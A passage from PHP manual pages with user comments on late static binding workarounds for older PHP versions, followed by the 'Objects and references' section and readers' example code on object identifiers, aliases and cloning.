$obj = B::getInstance();

//versus

class A
{

 // some stuff....

    public static function getInstance()
    {
        return new static();
    }

}

class B extends A
{
  //stuff...
}

$obj = B::getInstance();
?>

also works the same way with static variables and constants
Anonymous 24-Nov-2010 06:22
THIS WORKED GREAT FOR ME:

<?php
abstract class ParentClass
{
    static function parent_method()
    {
        $child_class_str = self::get_child_class();
        eval("\$r = ".$child_class_str."::abstract_static();");
        return $r;
    }// CHILD MUST OVERRIDE TO PUT ITSELF INTO TRACE

    protected abstract static function abstract_static();

    private static function get_child_class()
    {
        $backtrace = debug_backtrace();
        $num = count($backtrace);
        for($i = 0; $i < $num; $i++)
        {
            if($backtrace[$i]["class"] !== __CLASS__)
                return $backtrace[$i]["class"];
        }
        return null;
    }
}

class ChildClass extends ParentClass
{
    static function parent_method(){ return parent::parent_method(); }

    protected static function abstract_static()
    {
        return __METHOD__."()";
    }// From ParentClass
}

print "The call was: ". ChildClass::parent_method();
?>
jakub dot lopuszanski at nasza-klasa dot pl 08-Nov-2010 07:12
Suprisingly consts are also lazy bound even though you use self instead of static:
<?php
class A{
  const X=1;
  const Y=self::X;
}
class B extends A{
  const X=1.0;
}
var_dump(B::Y); // float(1.0)
?>
tfn dot yldrm at hotmail dot com 26-Oct-2010 09:30
example for static binding on 5.2 and real enumaration
<?php
    /**
    * Static Binding On PHP 5.2
    * @author Tufan Baris YILDIRIM
    * @since 26.10.2010
    */
    abstract class EnumBase
    {
        protected $num = 0;
        public $toString;
        public $toInt;

        public function __construct($enumKeyOrVal)
        {

            unset($this->toString,$this->toInt);

            $enums = $this->enums();

            if(
            empty($enumKeyOrVal)
            ||
            !(isset($enums[$this->num = $enumKeyOrVal])
            ||
            ($this->num = array_search($enumKeyOrVal,$enums)) !== false)
            )
                $this->num = 0;

            /**
            *  5.3 Version
            */
            /*
            *  if(
            empty($enumKeyOrVal)
            ||
            !(isset(static::$enums[$this->num = $enumKeyOrVal])
            ||
            ($this->num = array_search($enumKeyOrVal,static::$enums)) !== false)
            )
            $this->num = 0;
            */
        }

        #5.3 e geçilirse gerek kalmaz.
        public function vars()
        {
            return get_class_vars(get_class($this));
        }

        public function enums()
        {
            $vars = $this->vars();
            return $vars['enums'];
        }

        public function __get($property)
        {
            if(method_exists($this,'__'.$property))
                return $this->{'__'.$property}();
            else
                return $this->__toString();
        }

        public function __toInt()
        {
            return $this->num;
        }

        public function __toString()
        {

            $enums = $this->enums();

            if(isset($enums[$this->num]))
            {
                return $enums[$this->num];
            }
            else
            {
                return $enums[0];
            }

            /**
            * 5.3 Version
            */

            /*
            if(isset(static::$enums[$this->num]))
            {
            return static::$enums[$this->num];
            }
            else
            {
            return static::$enums[0];
            }
            */
        }
    }

    class Positions extends EnumBase
    {
        public static $enums = array(
        0 => 'Bilinmiyor',
        1 => 'Kale',
        2 => 'Defans',
        3 => 'Orta Saha',
        4 => 'Forvet'
        );
    }

    $a = new Positions('Orta Saha');
    $b = new Positions(4);

    $c = (string)$a; // Orta Saha
    $d = (string)$b; // Forvet
?>
steven dot karas+nospam at gmail dot com 27-Sep-2010 11:38
This function can be used as a workaround for late static binding in PHP >= 5.1.0. There was another similar version of this function elsewhere, but used eval.

<?php

function & static_var($class, $name)
{
    if (is_object($class))
    {
        $class = get_class($class);
    }
    elseif ( ! is_string($class))
    {
        throw new Exception('Must be given an object or a class name', NULL);
    }

    $class = new ReflectionClass($class);
    return $class->getStaticPropertyValue($name);
}

?>
adam dot prall at thinkingman dot com 11-Jun-2010 06:51
Just a quick reminder to always check your syntax. While I love LSB, I thought it wasn't working:

static::$sKey = not set

…until I realized that I’d completely forgotten to make it a variable variable:

$sKey = 'testStaticClassVarNameThatExistsInThisClassesScope';

static::$$sKey = is set

…of course this applies anywhere in PHP, but because of the (current) newness late static bindings, I’ve seen lots of code with this particular snafu in it from others.
joost dot t dot hart at planet dot nl 21-Aug-2009 03:34
PHP5.3 unavailable, yet in the need for 'static', I did the following.

Any objections? Personally I hate using the the eval() statement...

<?php

class mother
{
    function setStatic( $prop, $val ) {
        // After this, self:: refers to mother, yet next $class refers to...
        //
        $class = get_class( $this );
        eval( "$class::\$$prop = \$$val;" );
    }
}

class child extends mother
{
    protected static $sProp;

    function writer( $value ) {
        parent::setStatic( 'sProp', $value );
    }
    function reader()
    {
        return self::$sProp;
    }
}

$c = new child();
$c->writer( 3 );
echo $c->reader(); // 3

?>
tom 03-Jul-2009 03:28
Something you may find useful for passive code-testing:

<?php
class BaseClass {
  function __get($id) {
    throw new Exception("Trying to access undefined property '$id'.");
  }
  function __set($id) {
    throw new Exception("Trying to access undefined property '$id'.");
  }
}

class MyClass extends BaseClass {
// my implementation
}
?>

Using these magic function as described above will help you to find classes that try to access an undefined (and undocumented) class-member. In most cases: this is an error based on misspelled member names.
kenneth at kennethjorgensen dot com 30-Mar-2009 11:19
Simple basic class which uses to get_called_class() to create singleton instances. A previous post by php at mikebird dot co dot uk explain how to do this, but the extended static variables require you to define them in child classes before they work.

<?php

abstract class Singleton {
    private static $instances = array();

    public function __construct() {
        $class = get_called_class();
        if (array_key_exists($class, self::$instances))
            trigger_error("Tried to construct  a second instance of class \"$class\"", E_USER_WARNING);
    }

    public static function getInstance() {
        $class = get_called_class();
        if (array_key_exists($class, self::$instances) === false)
            self::$instances[$class] = new $class();
        return self::$instances[$class];
    }
}

class A extends Singleton {
}

class B extends Singleton {
}

$a1 = A::getInstance();
$a2 = A::getInstance();
$b1 = B::getInstance();
$b2 = B::getInstance();

if (get_class($a1) == "A" &&
    get_class($a2) == "A" &&
    get_class($b1) == "B" &&
    get_class($b2) == "B" &&
    $a1 === $a2 &&
    $b1 === $b2)
    echo "All good\n";
else
    echo "FAIL!\n";

?>

You probably noticed the use of self:: rather than static::, this is because we want the static variable to be private, and using static:: will not allow us to do that.
gern_ at hotmail dot com 18-Sep-2008 04:51
get_called_class for PHP < 5.3

<?php
/**
 * Return called class name
 *
 * @author Michael Grenier
 * @param int $i_level optional
 * @return string
 */
function get_called_class ($i_level = 1)
{
    $a_debug = debug_backtrace();
    $a_called = array();
    $a_called_function = $a_debug[$i_level]['function'];
    for ($i = 1, $n = sizeof($a_debug); $i < $n; $i++)
    {
        if (in_array($a_debug[$i]['function'], array('eval')) ||
            strpos($a_debug[$i]['function'], 'eval()') !== false)
            continue;
        if (in_array($a_debug[$i]['function'], array('__call', '__callStatic')))
            $a_called_function = $a_debug[$i]['args'][0];
        if ($a_debug[$i]['function'] == $a_called_function)
            $a_called = $a_debug[$i];
    }
    if (isset($a_called['object']) && isset($a_called['class']))
        return (string)$a_called['class'];
    $i_line = (int)$a_called['line'] - 1;
    $a_lines = explode("\n", file_get_contents($a_called['file']));
    preg_match("#([a-zA-Z0-9_]+){$a_called['type']}
                {$a_called['function']}( )*\(#", $a_lines[$i_line], $a_match);
    unset($a_debug, $a_called, $a_called_function, $i_line, $a_lines);
    if (sizeof($a_match) > 0)
        $s_class = (string)trim($a_match[1]);
    else
        $s_class = (string)$a_called['class'];
    if ($s_class == 'self')
        return get_called_class($i_level + 2);
    return $s_class;
}
?>
kx 14-Sep-2008 06:39
At least as of PHP 5.3.0a2 there's a function get_called_class(), which returns the class on which the static method is called.

<?php

class a {
  static public function test() {
    print get_called_class();
  }
}

class b extends a {
}

a::test(); // "a"
b::test(); // "b"

?>
iamscrumpyjack 07-Sep-2008 06:01
I have been dying to see this issue resolved. I'm very much looking forward to the production release of PHP 5.3...

In my case I have been trying to do the following:

class A {
  function __construct() {
    echo "I was called by " . static::__CLASS__;
  }
}

class B extends A {
  function Foo() {
    echo "I am class " . __CLASS__;
  }
}

$b = new B; // Should echo "I was called by B"
$b->Foo(); // Should echo "I am class B"

At the moment I do the following workaround:

class A {
  function __construct($child) {
    echo "I was called by " . $child;
  }
}

class B extends A {
  function __construct() {
    parent::__construct(__CLASS__);
  }

  function Foo() {
    echo "I am class " . __CLASS__;
  }
}

$b = new B; // Echos "I was called by B"
$b->Foo(); // Echo "I am class B"

As you can see, my current workaround has some overhead and is not as water-tight as the late static binding method.
sebastien at info-conseil dot fr 17-Jul-2008 04:26
Here is a small workaround I made for the static inheritance issue. It's not perfect, but it works.

<?php

// BaseClass class will be extended by any class needing static inheritance workaroud
class BaseClass {
    // Temporarily stores class name for Entry::getStatic() and Entry::setNextStatic()
    protected static $nextStatic = false;

    // Returns the real name of the class calling the method, not the one in which it was declared.
    protected static function getStatic() {
        // If already stored
        if (self::$nextStatic) {
            // Clean and return
            $class = self::$nextStatic;
            self::$nextStatic = false;
            return $class;
        }

        // Init
        $backTrace = debug_backtrace();
        $class = false;

        // Walk through
        for ($i=0; $i<count($backTrace); $i++) {
            // If a class is defined
            if (isset($backTrace[$i]['class'])) {
                // Check if it is not a basic class
                if (!in_array($backTrace[$i]['class'], array('BaseClass', 'GenericClass'))) {
                    return $backTrace[$i]['class'];
                } else {
                    $class = $backTrace[$i]['class'];
                }
            } else {
                // Returns last known class
                return $class;
            }
        }

        // Default
        return $class;
    }

    // If a static method is called within global env, the previous method won't work, so we need to tell BaseClass which
    public static function setNextStatic($class) {
        // Save value
        self::$nextStatic = $class;
    }
}

// Generic class declaring various static methods
class GenericClass extends BaseClass {
    public static $name = 'Generic';

    public function getName() {
        $static = get_class_vars(get_class($this));
        return $static['name'];
    }

    public static function basicClassName() {
        return self::$name;
    }

    public static function staticClassName() {
        // Get real name
        $staticName = self::getStatic();

        // Return final class name
        $static = get_class_vars($staticName);
        return $static['name'];
    }
}

// Final class
class SomeClass extends GenericClass {
    public static $name = 'Some';

    public static function returnClassNameWith($string) {
        return $string.' : '.self::staticClassName();
    }
}

// Instance call

// Will print 'Some'
$a = new SomeClass();
echo 'Name of $a : '.$a->getName().'<br />';

// Static calls

// Will print 'Generic'
echo 'Basic call to SomeClass::$name : '.SomeClass::basicClassName().'<br />';

// Will print 'Generic'
echo 'Global call to SomeClass::$name : '.SomeClass::staticClassName().'<br />';

// Will print 'Some'
BaseClass::setNextStatic('SomeClass');
echo 'Global call to SomeClass::$name with pre-set : '.SomeClass::staticClassName().'<br />';

// Will print 'Some'
echo 'Internal call to SomeClass::$name : '.SomeClass::returnClassNameWith('This is a ').'<br />';

?>

There are two issues with this workaround :
- if you call a static method from global env, you need to declare the name of the class BEFORE calling the method, otherwise the workaround won't work (see 3rd and 4th examples). But I assume good programming makes few calls to static methods from global scope, so this shouldn't be long to fix if you use it.
- the workaround fails to access to private or protected static vars, as it uses get_class_vars(). If you find any better solution, let us know.

With Php 5.3.0, upgrading will be easy : just delete the methods from the basic class, and search/replace any call to getStatic() and setNextStatic() by static:: - or one could use a selector on PHP_VERSION value to include either the BaseClass file with workaround or a BaseClass file using static::
Anonymous 12-Jul-2008 09:49
Trying to recreate an inheritable static part for an object through a singleton pattern.

<?php
/**
 * "Inheritable static" for PHP < 5.3
 * << Library/Inheritable.php >>
 */

abstract class Inheritable_Static extends Singleton
{
}

abstract class Inheritable
{
    public static function getStatic($className)
    {
        // Use an abstract Singleton
        return Singleton::getInstance($className . '_Static') ;
    }

    public function goStatic()
    {
        return self::getStatic(get_class($this)) ;
    }
}

/**
 * Abstract
 * << Library/SayIt/Abstract.php >>
 */

abstract class SayIt_Abstract_Static extends Inheritable_Static
{
    public $format ;
}

abstract class SayIt_Abstract extends Inheritable
{
    protected $_name ;

    public function __construct($name)
    {
        $this->_name = $name ;
    }

    final public function sayIt()
    {
        echo sprintf($this->goStatic()->format, $this->_name) . "\n" ;
    }

}

/**
 * Concrete
 * << Library/SayIt/Hello.php >>
 */

class SayIt_Hello_Static extends SayIt_Abstract_Static
{
}

class SayIt_Hello extends SayIt_Abstract
{
    public static function getStatic() { return parent::getStatic(__CLASS__) ; }
}

/**
 * Test
 */

SayIt_Hello::getStatic()->format = 'Hello %s' ;

$w = new SayIt_Hello('World') ;
$j = new SayIt_Hello('Joe') ;

echo $w->sayIt() ; // Hello World
echo $j->sayIt() ; // Hello Joe
Andrea Giammarchi 21-Jun-2008 10:06
About static parameters, these work as expected.
<?php
class A {
    protected static $__CLASS__ = __CLASS__;
    public static function constructor(){
        return  static::$__CLASS__;
    }
}

class B extends A {
    protected static $__CLASS__ = __CLASS__;
}

echo    B::constructor(); // B
?>
martinpauly [at] google mail [dot] com 18-Jun-2008 02:54
will this work for variables as well?

it would be great, if the following worked:

<?php
class A {
protected static $table = "table";
public static function connect(){
     //do some stuff here
     echo static::$table;
     return static::getInstance(); //function getInstance() now can return classes A or B depending on the context it was called
}
...
}

class B extends A {
protected static $table = "subtable";
...
}

$table = B::connect(); //hopefully the output will be: subtable
?>
deadimp at gmail dot com 05-Jun-2008 07:39
I think this will be pretty helpful too.
My question is, can just 'static' by itself resolve to the late static class?
I ask this because it could help in making new instances of the derived class, from a base class, by calling a derived class's static method instead of having to create a new instance of the derived class - or explicitly defining a 'getClass' method for each derived class.
Example:
<?php
//There isn't really any purpose for this example I posted
//Just a random implementation
class Base {
    static function useful() {
        //Create a list of instances of the derived class
        $list=array();
        for ($i=0;$i<10;$i++) $list[]=new static(); //Here's the point in question
        return $list;
    }
}
class Derived extends Base {
    static function somethingElse() {
        //...
        $list=static::useful();
    }
}
?>
I'm not sure what kind of lexical / whatever-it's-called problems this would make with parsing. I don't think it could really collide with any contexts where you would use static otherwise - variable / method declaration.

Even more so, is there a way to get the class's name to which the keywords 'self', 'parent', or 'static' refer?
Example:
<?php
class Base {
    static function stuff() {
        echo "Self: ".get_class(self);
        echo "Parent: ".get_class(parent);
        echo "Derived: ".get_class(static);
    }
}
class Derived extends Base {
    static function stuff() {
        static::stuff();
    }
}
?>

I don't think there should be a massive bloat in the PHP core to support all of this, but it would be nice to take advantage of the dynamic nature of PHP.

And yet another side note:
If you're in the instance-level scope in a method of a base, and you want to get a top-level static, here's an ugly workaround (from Thacmus /lib/core.php - see SVN repo):
<?php
//Get reference [?] to static from class
    //$class - Class name OR object (uses get_class())
    //$var - Not gonna say
function& get_static($class,$var) { //'static_get'?
    if (!is_string($class)) $class=get_class($class);
    if (!@property_exists($class,$var)) {
        trigger_error("Static property does not exist: $class::\$$var");
        //debug_callstack(); //This is just a wrapper for debug_backtrace() for HTML
        return null;
    }
    //Store a reference so that the base data can be referred to
        //The code [[ return eval('return &'.$class.'::$'.$var.';') ]] does not work - can not return references...
        //To establish the reference, use [[ $ref=&get_static(...) ]]
    eval('$temp=&'.$class.'::$'.$var.';'); //using
    return $temp;
}
?>
tyler AT canfone [dot] COM 05-Jun-2008 07:48
@ php at mikebird

You can pass arguments to your constructor through your getInstance method, assuming you are running php5.

        public static function getInstance($params = null) {
            if (self::$objInstance == null) {
                $strClass = static::getClass();
                self::$objInstance = new $strClass($params);
            }
            return self::$objInstance;
        }

This would pass the params to your constructor. Love for php.
sergei at 2440media dot com 28-May-2008 10:22
Finally we can implement some ActiveRecord methods:

<?php

class Model
{
    public static function find()
    {
        echo static::$name;
    }
}

class Product extends Model
{
    protected static $name = 'Product';
}

Product::find();

?>

Output: 'Product'
php at mikebird dot co dot uk 23-Apr-2008 05:39
This should make life easier and neater if you have a project with a lot of singleton classes e.g.

<?php

    class Singleton {

        public static $objInstance;

        public static function &getInstance() {
            if (self::$objInstance == null) {
                $strClass = static::getClass();
                self::$objInstance = new $strClass;
            }
            return self::$objInstance;
        }

        public static function getClass() {
            return __CLASS__;
        }

    }

    class Foo extends Singleton {

        public $intBar;

        public function __construct() {
            $this->intBar = 1;
        }

        public static function getClass() {
            return __CLASS__;
        }

    }

    $objFooTwo = Foo::getInstance();
    $objFooTwo->intBar = 2;

    $objFooOne = Foo::getInstance();

    if ($objFooOne->intBar == $objFooTwo->intBar) {
        echo 'it is a singleton';
    } else {
        echo 'it is not a singleton';
    }

?>

The above will output 'it is a singleton'. The obvious downfall to this method is not being able to give arguments to the constructor.
max at mastershrimp dot com 11-Apr-2008 12:24
If you are using PHP < 5.3.0 you might be interested in the following workaround for late static binding: http://de2.php.net/manual/de/function.get-class.php#77698


Objects and references

One of the key-points of PHP 5 OOP that is often mentioned is that "objects are passed by references by default". This is not completely true. This section rectifies that general thought using some examples.

A PHP reference is an alias, which allows two different variables to write to the same value. As of PHP 5, an object variable doesn't contain the object itself as value anymore. It only contains an object identifier which allows object accessors to find the actual object. When an object is sent by argument, returned or assigned to another variable, the different variables are not aliases: they hold a copy of the identifier, which points to the same object.

Example #1 References and Objects

<?php
class A {
    public $foo = 1;
}

$a = new A;
$b = $a;     // $a and $b are copies of the same identifier
             // ($a) = ($b) = <id>
$b->foo = 2;
echo $a->foo."\n";

$c = new A;
$d = &$c;    // $c and $d are references
             // ($c,$d) = <id>

$d->foo = 2;
echo $c->foo."\n";

$e = new A;

function foo($obj) {
    // ($obj) = ($e) = <id>
    $obj->foo = 2;
}

foo($e);
echo $e->foo."\n";

?>

The above example will output:

2
2
2

User Contributed Notes

akam at akameng dot com 30-Aug-2013 06:30
Object is being referenced even after the original object deleted, so be careful when copying objects into your array.

<?php
$result = json_decode(' {"1":1377809496,"2":1377813096}');
$copy1['object'] = $result;
$copy2['object'] = $result;

unset($result);

//now lets change $copy1['object'][1] to 'test';
$copy1['object']->{"1"} = 'test';

echo ($copy1 === $copy2) ? "Yes" : "No";
print_r($copy2);
/*
Array
(
    [API] => stdClass Object
        (
            [1] => test
            [2] => 1377813096
        )

)
*/
?>
cesoid at gmail dot com 28-May-2013 01:45
Comparing an alias to a pointer is like comparing a spoken word to the neurochemistry of the speaker. You know that the speaker can use two different words to refer to the same thing, but what's going on in their brain to make this work is something you don't want to have to think about every time they speak. (If you're programming in assembly or, less so, in C++, you're out of luck there.)

Likewise, PHP *the language* and a given php interpretor are not the same thing, and this post and most of these comments leave that out in the explanation. An alias/reference is a part of the language, a pointer is a part of how the computer makes the reference work. You often have little guarantee that an interpreter will continue working the same way internally.

From a functional point of view the internals of the interpreter *do* matter for optimization, but *don't* matter in terms of the end result of the program. A higher level programming language such as PHP is supposed to try to hide such details from the programmer so that they can write clearer, more manageable code, and do it quickly.

Unfortunately, years ago, using pass-by-reference a lot actually was very useful in terms of optimizing. Fortunately, that ended years ago, so now we no longer need to perform a reference assignment and hope that we remember not to change one variable when the other one is supposed to stay the same. By the time you read this the php that is sending these words to you may be running on a server that uses some kind of new exotic technology for which the word "pointer" no longer accurately describes anything, because the server stores both the program state and instructions intermingled in non-sequential atoms bonded into molecules which work by randomly bouncing off each other at high speeds, thereby exchanging atoms and crossbreeding their instructions and information in such a way as to, in aggregate, successfully run php 5 code. But the code itself will still have references that work the same way they did before, and you will therefore not have to think about whether the machine I just described makes any sense at all.
Jon Whitener 15-Aug-2012 10:55
The use of clone may get you the behavior you expect when passing an object to a function, as shown below using DateTime objects as examples.

<?php
date_default_timezone_set( "America/Detroit" );

$a = new DateTime;
echo "a = " . $a->format('Y-m-j') . "\n";

// This might not give what you expect...
$b = upDate( $a ); // a and b both updated
echo "a = " . $a->format('Y-m-j') . ", b = " . $b->format('Y-m-j') . "\n";
$a->modify( "+ 1 day" ); // a and b both modified
echo "a = " . $a->format('Y-m-j') . ", b = " . $b->format('Y-m-j') . "\n";

// This might be what you want...
$c = upDateClone( $a ); // only c updated, a left alone
echo "a = " . $a->format('Y-m-j') . ", c = " . $c->format('Y-m-j') . "\n";

function upDate( $datetime ) {
    $datetime->modify( "+ 1 day" );
    return $datetime;
}

function upDateClone( $datetime ) {
    $dt = clone $datetime;
    $dt->modify( "+ 1 day" );
    return $dt;
}
?>

The above would output something like:

a = 2012-08-15
a = 2012-08-16, b = 2012-08-16
a = 2012-08-17, b = 2012-08-17
a = 2012-08-17, c = 2012-08-18
kristof at viewranger dot com 16-Jun-2012 11:07
I hope this clarifies references a bit more:

<?php
class A {
    public $foo = 1;
}

$a = new A;
$b = $a;
$a->foo = 2;
$a = NULL;
echo $b->foo."\n"; // 2

$c = new A;
$d = &$c;
$c->foo = 2;
$c = NULL;
echo $d->foo."\n"; // Notice:  Trying to get property of non-object...
?>
Anonymous 24-Nov-2011 04:57
this example could help:

<?php
class A {
    public $testA = 1;
}

class B {
    public $testB = "class B";
}

$a = new A;
$b = $a;
$b->testA = 2;

$c = new B;
$a = $c;

$a->testB = "Changed Class B";

echo "<br/> object a: "; var_dump($a);
echo "<br/> object b: "; var_dump($b);
echo "<br/> object c: "; var_dump($c);

// by reference

$aa = new A;
$bb = &$aa;
$bb->testA = 2;

$cc = new B;
$aa = $cc;

$aa->testB = "Changed Class B";

echo "<br/> object aa: "; var_dump($aa);
echo "<br/> object bb: "; var_dump($bb);
echo "<br/> object cc: "; var_dump($cc);

?>
Rob Marscher 03-Feb-2011 06:33
Here's an example I created that helped me understand the difference between passing objects by reference and by value in php 5.

<?php
class A {
    public $foo = 'empty';
}
class B {
    public $foo = 'empty';
    public $bar = 'hello';
}

function normalAssignment($obj) {
    $obj->foo = 'changed';
    $obj = new B;
}

function referenceAssignment(&$obj) {
    $obj->foo = 'changed';
    $obj = new B;
}

$a = new A;
normalAssignment($a);
echo get_class($a), "\n";
echo "foo = {$a->foo}\n";

referenceAssignment($a);
echo get_class($a), "\n";
echo "foo = {$a->foo}\n";
echo "bar = {$a->bar}\n";

/*
prints:
A
foo = changed
B
foo = empty
bar = hello
*/
?>
Anonymous 17-Jan-2011 05:51
There seems to be some confusion here. The distinction between pointers and references is not particularly helpful.
The behavior in some of the "comprehensive" examples already posted can be explained in simpler unifying terms. Hayley's code, for example, is doing EXACTLY what you should expect it should. (Using >= 5.3)

First principle:
A pointer stores a memory address to access an object. Any time an object is assigned, a pointer is generated. (I haven't delved TOO deeply into the Zend engine yet, but as far as I can see, this applies)

2nd principle, and source of the most confusion:
Passing a variable to a function is done by default as a value pass, ie, you are working with a copy. "But objects are passed by reference!" A common misconception both here and in the Java world. I never said a copy OF WHAT. The default passing is done by value. Always. WHAT is being copied and passed, however, is the pointer. When using the "->", you will of course be accessing the same internals as the original variable in the caller function. Just using "=" will only play with copies.

3rd principle:
"&" automatically and permanently sets another variable name/pointer to the same memory address as something else until you decouple them. It is correct to use the term "alias" here. Think of it as joining two pointers at the hip until forcibly separated with "unset()". This functionality exists both in the same scope and when an argument is passed to a function. Often the passed argument is called a "reference," due to certain distinctions between "passing by value" and "passing by reference" that were clearer in C and C++.

Just remember: pointers to objects, not objects themselves, are passed to functions. These pointers are COPIES of the original unless you use "&" in your parameter list to actually pass the originals. Only when you dig into the internals of an object will the originals change.

Example:

<?php

//The two are meant to be the same
$a = "Clark Kent"; //a==Clark Kent
$b = &$a; //The two will now share the same fate.

$b="Superman"; // $a=="Superman" too.
echo $a;
echo $a="Clark Kent"; // $b=="Clark Kent" too.
unset($b); // $b divorced from $a
$b="Bizarro";
echo $a; // $a=="Clark Kent" still, since $b is a free agent pointer now.

//The two are NOT meant to be the same.
$c="King";
$d="Pretender to the Throne";
echo $c."\n"; // $c=="King"
echo $d."\n"; // $d=="Pretender to the Throne"
swapByValue($c, $d);
echo $c."\n"; // $c=="King"
echo $d."\n"; // $d=="Pretender to the Throne"
swapByRef($c, $d);
echo $c."\n"; // $c=="Pretender to the Throne"
echo $d."\n"; // $d=="King"

function swapByValue($x, $y){
$temp=$x;
$x=$y;
$y=$temp;
//All this beautiful work will disappear
//because it was done on COPIES of pointers.
//The originals pointers still point as they did.
}

function swapByRef(&$x, &$y){
 $temp=$x;
 $x=$y;
 $y=$temp;
 //Note the parameter list: now we switched 'em REAL good.
}

?>
Hayley Watson 30-Mar-2010 04:21
Using &$this can result in some weird and counter-intuitive behaviour - it starts lying to you.

<?php

class Bar
{
    public $prop = 42;
}

class Foo
{
    public $prop = 17;
    function boom()
    {
        $bar = &$this;
        echo "\$bar is an alias of \$this, a Foo.\n";
        echo '$this is a ', get_class($this), '; $bar is a ', get_class($bar), "\n";

        echo "Are they the same object? ", ($bar === $this ? "Yes\n" : "No\n");
        echo "Are they equal? ", ($bar === $this ? "Yes\n" : "No\n");
        echo '$this says its prop value is ';
        echo $this->prop;
        echo ' and $bar says it is ';
        echo $bar->prop;
        echo "\n";

        echo "\n";

        $bar = new Bar;
        echo "\$bar has been made into a new Bar.\n";
        echo '$this is a ', get_class($this), '; $bar is a ', get_class($bar), "\n";

        echo "Are they the same object? ", ($bar === $this ? "Yes\n" : "No\n");
        echo "Are they equal? ", ($bar === $this ? "Yes\n" : "No\n");
        echo '$this says its prop value is ';
        echo $this->prop;
        echo ' and $bar says it is ';
        echo $bar->prop;
        echo "\n";

    }
}

$t = new Foo;
$t->boom();
?>
In the above $this claims to be a Bar (in fact it claims to be the very same object that $bar is), while still having all the properties and methods of a Foo.

Fortunately it doesn't persist beyond the method where you committed the faux pas.
<?php
echo get_class($t), "\t", $t->prop;
?>
miklcct at gmail dot com 07-Jan-2010 10:34
Notes on reference:
A reference is not a pointer. However, an object handle IS a pointer. Example:
<?php
class Foo {
  private static $used;
  private $id;
  public function __construct() {
    $id = $used++;
  }
  public function __clone() {
    $id = $used++;
  }
}

$a = new Foo; // $a is a pointer pointing to Foo object 0
$b = $a; // $b is a pointer pointing to Foo object 0, however, $b is a copy of $a
$c = &$a; // $c and $a are now references of a pointer pointing to Foo object 0
$a = new Foo; // $a and $c are now references of a pointer pointing to Foo object 1, $b is still a pointer pointing to Foo object 0
unset($a); // A reference with reference count 1 is automatically converted back to a value. Now $c is a pointer to Foo object 1
$a = &$b; // $a and $b are now references of a pointer pointing to Foo object 0
$a = NULL; // $a and $b now become a reference to NULL. Foo object 0 can be garbage collected now
unset($b); // $b no longer exists and $a is now NULL
$a = clone $c; // $a is now a pointer to Foo object 2, $c remains a pointer to Foo object 1
unset($c); // Foo object 1 can be garbage collected now.
$c = $a; // $c and $a are pointers pointing to Foo object 2
unset($a); // Foo object 2 is still pointed by $c
$a = &$c; // Foo object 2 has 1 pointers pointing to it only, that pointer has 2 references: $a and $c;
const ABC = TRUE;
if(ABC) {
  $a = NULL; // Foo object 2 can be garbage collected now because $a and $c are now a reference to the same NULL value
} else {
  unset($a); // Foo object 2 is still pointed to $c
}
mjung at poczta dot onet dot pl 16-Aug-2009 07:25
Ultimate explanation to object references:
NOTE: wording 'points to' could be easily replaced with 'refers ' and is used loosly.
<?php
$a1 = new A(1);  // $a1 == handle1-1 to A(1)
$a2 = $a1;     // $a2 == handle1-2 to A(1) - assigned by value (copy)
$a3 = &$a1;  // $a3 points to $a1 (handle1-1)
$a3 = null;      // makes $a1==null, $a3 (still) points to $a1, $a2 == handle1-2 (same object instance A(1))
$a2 = null;      // makes $a2 == null
$a1 = new A(2); //makes $a1 == handle2-1 to new object and $a3 (still) points to $a1 => handle2-1 (new object), so value of $a1 and $a3 is the new object and $a2 == null
//By reference:
$a4 = &new A(4);  //$a4 points to handle4-1 to A(4)
$a5 = $a4;   // $a5 == handle4-2 to A(4) (copy)
$a6 = &$a4;  //$a6 points to (handle4-1), not to $a4 (reference to reference references the referenced object handle4-1 not the reference itself)

$a4 = &new A(40); // $a4 points to handle40-1, $a5 == handle4-2 and $a6 still points to handle4-1 to A(4)
$a6 = null;  // sets handle4-1 to null; $a5 == handle4-2 = A(4); $a4 points to handle40-1; $a6 points to null
$a6 =&$a4; // $a6 points to handle40-1
$a7 = &$a6; //$a7 points to handle40-1
$a8 = &$a7; //$a8 points to handle40-1
$a5 = $a7;  //$a5 == handle40-2 (copy)
$a6 = null; //makes handle40-1 null, all variables pointing to (hanlde40-1 ==null) are null, except ($a5 == handle40-2 = A(40))
?>
Hope this helps.
Aaron Bond 20-Jun-2009 03:08
I've bumped into a behavior that helped clarify the difference between objects and identifiers for me.

When we hand off an object variable, we get an identifier to that object's value.  This means that if I were to mutate the object from a passed variable, ALL variables originating from that instance of the object will change.

HOWEVER, if I set that object variable to new instance, it replaces the identifier itself with a new identifier and leaves the old instance in tact.

Take the following example:

<?php
class A {
    public $foo = 1;
}

class B {
    public function foo(A $bar)
    {
        $bar->foo = 42;
    }

    public function bar(A $bar)
    {
        $bar = new A;
    }
}

$f = new A;
$g = new B;
echo $f->foo . "\n";

$g->foo($f);
echo $f->foo . "\n";

$g->bar($f);
echo $f->foo . "\n";

?>

If object variables were always references, we'd expect the following output:
1
42
1

However, we get:
1
42
42

The reason for this is simple.  In the bar function of the B class, we replace the identifier you passed in, which identified the same instance of the A class as your $f variable, with a brand new A class identifier.  Creating a new instance of A doesn't mutate $f because $f wasn't passed as a reference.

To get the reference behavior, one would have to enter the following for class B:

<?php
class B {
    public function foo(A $bar)
    {
        $bar->foo = 42;
    }

    public function bar(A &$bar)
    {
        $bar = new A;
    }
}
?>

The foo function doesn't require a reference, because it is MUTATING an object instance that $bar identifies.  But bar will be REPLACING the object instance.  If only an identifier is passed, the variable identifier will be overwritten but the object instance will be left in place.
Ivan Bertona 15-Oct-2008 05:45
A point that in my opinion is not stressed enough in the manual page is that in PHP5, passing an object as an argument of a function call with no use of the & operator means passing BY VALUE an unique identifier for that object (intended as instance of a class), which will be stored in another variable that has function scope.

This behaviour is the same used in Java, where indeed there is no notion of passing arguments by reference. On the other hand, in PHP you can pass a value by reference (in PHP we refer to references as "aliases"), and this poses a threat if you are not aware of what you are really doing. Please consider these two classes:

<?php
class A
{
    function __toString() {
        return "Class A";
    }
}

class B
{
    function __toString() {
        return "Class B";
    }
}
?>

In the first test case we make two objects out of the classes A and B, then swap the variables using a temp one and the normal assignment operator (=).

<?php
$a = new A();
$b = new B();

$temp = $a;
$a = $b;
$b = $temp;

print('$a: ' . $a . "\n");
print('$b: ' . $b . "\n");
?>

As expected the script will output:

$a: Class B
$b: Class A

Now consider the following snippet. It is similar to the former but the assignment $a = &$b makes $a an ALIAS of $b.

<?php
$a = new A();
$b = new B();

$temp = $a;
$a = &$b;
$b = $temp;

print('$a: ' . $a . "\n");
print('$b: ' . $b . "\n");
?>

This script will output:

$a: Class A
$b: Class A

